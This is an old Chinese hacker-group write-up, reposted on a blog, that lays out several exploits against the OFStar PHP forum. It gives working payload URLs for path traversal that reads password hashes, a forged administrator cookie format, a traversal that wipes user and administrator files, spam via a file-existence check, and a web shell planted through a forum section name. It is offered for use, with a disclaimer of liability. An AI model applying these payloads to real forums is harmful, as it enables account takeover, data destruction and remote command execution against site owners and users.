OFStar论坛漏洞利用 作者:saiy[F.S.T]

作者:saiy[F.S.T]  来源:火狐技术联盟[www.wrsky.com]

关键字:ofstar漏洞 php脚本入侵  脚本入侵

作者简介:saiy 火狐技术联盟核心组成员

漏洞名称:ofstar php+txt 论坛严重漏洞

风险等级:高

备注:漏洞内部发布日期 05/01/09    公开发布日期 05/01/11
         注意!!!通过此方法造成的任何损失与火狐技术联盟无关


ofstar论坛的read.php存在极大的安全隐患!
我们先来看一下read.php中的两行代码

$articlearray=openfile("$dbpath/$fid/$tid.php");
$topic_detail=explode("|",$articlearray[0]);

可以看出该句直接打开forumdir/版块名/帖子数.php,以|为分隔符号读出内容。
而其中帖子数我们是可以构造的,但是有的东西我们是读不出来的,因为必须以|为分隔读内容,而ofstar恰巧很多东西都是这样保存的,比如说是用户资料的保存
开始,提交地址http://localhost/read.php?fid=1&tid=../../userdir/saiy
那么便读出了saiy的密码散列,在用户名的位置显示出来了!
可以利用伪造cookies登陆论坛!
格式为:

lastPP=1; ofstaradminid=管理用户名; ofstaradminpwd=管理散列口令; ol_offset=202; ofstarid=用户名; ofstarpwd=散列口令; lastvisit=1105276862

漏洞二,利用message.php制造垃圾短消息。。(这个方法好象在2004年6月份一本杂志上看到过)
我们先来看发送短消息的那部分代码!

elseif(!file_exists("$userpath/$msg_ruser.php")){
                 $mes_info="用户不存在.";
           }

这段代码的意思就是说看在userdir($userpath这个等于userdir这个值)这个文件夹下是否存在用户名.php,它是利用检查userdir/你输入的用户名.php存在与否来觉得此用户是否存在的,那我们怎么利用这个函数呢?假设我们输入的用户是../index的话,程序在代码里运行的情况就是
file_exists("userdir/../index.php")
再换个样子,变成
file_exists("./index.php")
懂了吧`程序变成去检查首页是否存在,存在就当作用户存在发出短消息。
短消息本来是保存在userdata/msgbox目录下,以用户名1.php格式保存的,那这样子,我们这条消息就被移到了userdata/目录下,名字为index1.php,我们可以写个程序调用检查其他文件是不是存在然后发出短消息。达到垃圾短消息的目的,有的人会说论坛限制了重复的发短消息,对,没错,但是你发现没有,当他提示“发送失败:请不要在 10 秒内连续性的发送短消息. ”时候你刷新页面,消息还是发送出去了的!!
漏洞三 恶意删除文件内容
删除论坛的短消息的url为http://www.某某站.com/message.php?action=del&msg=0&filename=saiy1.php
大家注意后面的saiy1.php,我们查看message.php,看看关于删除短消息是怎么写的?

if (file_exists("userdata/$msgpath/$filename")){
           $receivearray=openfile("userdata/$msgpath/$filename");
           $count=count($receivearray);
           for ($i=0; $i<$count; $i++)
           {if ($i==$msg)unset($receivearray[$msg]);}
           $newmsgdb=implode("",$receivearray);
           writeover("userdata/$msgpath/$filename",$newmsgdb);           
     }
     $mes_info='成功删除一条信息';
 

居然没有过滤$filename提交的内容!假设我们把filename修改为../../userdir/saiy.php我们就清空了saiy这个用户的所有注册资料了~而当我们把后面的文件名改为../../bbsdata/manager.php那我们就清空了所有管理员!其他的操作大家也可以想得到了!
3 论坛注册过滤不全!
论坛里注册时候没有过滤掉一些特殊字符,导致黑客可以在论坛进行恶意破坏,假设黑客注册名为saiy#happy,那么当对此黑客进行编辑或是发送消息的时候将会对saiy进行操作了,除非手动把#替换成%23才可以进行正常的操作!
4 搜索功能有可能被拿到管理权限的黑客利用
其实Ofstar2.0的安全性质总体来说还是很好的,假设被黑客拿到了管理权限你也入侵不了服务器,只能在论坛打住,因为你无法饶过论坛的上传限制,但是,不小心的是论坛的搜索功能有可能被黑客利用进行入侵,
首先,拿到管理权限的黑客可以到后台添加一个版块为<?system($a);?>然后到这个版块发帖子,他发完帖子进行搜索(搜索所发的帖子)便可以得到一个webshell,调用方式为,http://站点地址.com/userdata/cache/关键词ALLCor0.php?a=dir
当然,你也可以运行其他的命令!!
漏洞演示动画下载地址:
动画下载GO
动画解压缩密码:  wrsky
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值